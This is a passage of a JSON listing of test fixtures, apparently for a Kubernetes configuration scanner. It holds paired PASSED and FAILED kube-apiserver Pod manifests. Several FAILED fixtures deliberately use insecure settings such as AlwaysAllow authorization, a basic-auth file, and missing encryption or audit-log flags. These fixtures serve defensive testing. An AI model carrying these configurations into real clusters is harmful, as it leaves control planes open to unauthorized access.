    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-pass\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --audit-log-path=/path/to/log\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxAge/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-fail\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --audit-log-maxage=10\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxAge/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-pass\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --audit-log-maxage=40\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxBackup/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-low\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --audit-log-maxbackup=5\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxBackup/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-missing\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --profiling=true\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxBackup/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-pass\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --audit-log-maxbackup=15\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxSize/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-low\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --audit-log-maxsize=10\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxSize/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-missing\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLogMaxSize/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-pass\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --audit-log-maxsize=150\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeNode/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-mode\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeNode/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-missing\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=RBAC\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeNode/ApiServer-PASSED.yaml",
    "content": "\napiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-pass\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=RBAC,Node\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-extra-allow\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=RBAC,AlwaysAllow\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-allow\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=AlwaysAllow\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-PASSED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-mode\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-allow\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=RBAC,node\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-mode\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-rbac\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=Node\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-PASSED-2.yaml",
    "content": "\napiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=RBAC\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-PASSED.yaml",
    "content": "\napiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-extra-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --authorization-mode=RBAC,Node\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerBasicAuthFile/ApiServerBasicAuthFile-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --basic-auth-file=some_file\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerBasicAuthFile/ApiServerBasicAuthFile-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerEncryptionProviders/ApiServerEncryptionProviders-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerEncryptionProviders/ApiServerEncryptionProviders-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --encryption-provider-config=config.file\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerEtcdCaFile/example_ApiServerEtcdCaFile-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerEtcdCaFile/example_ApiServerEtcdCaFile-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --etcd-cafile=ca.file\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerEtcdCertAndKey/ApiServer-FAILED-2.yaml",
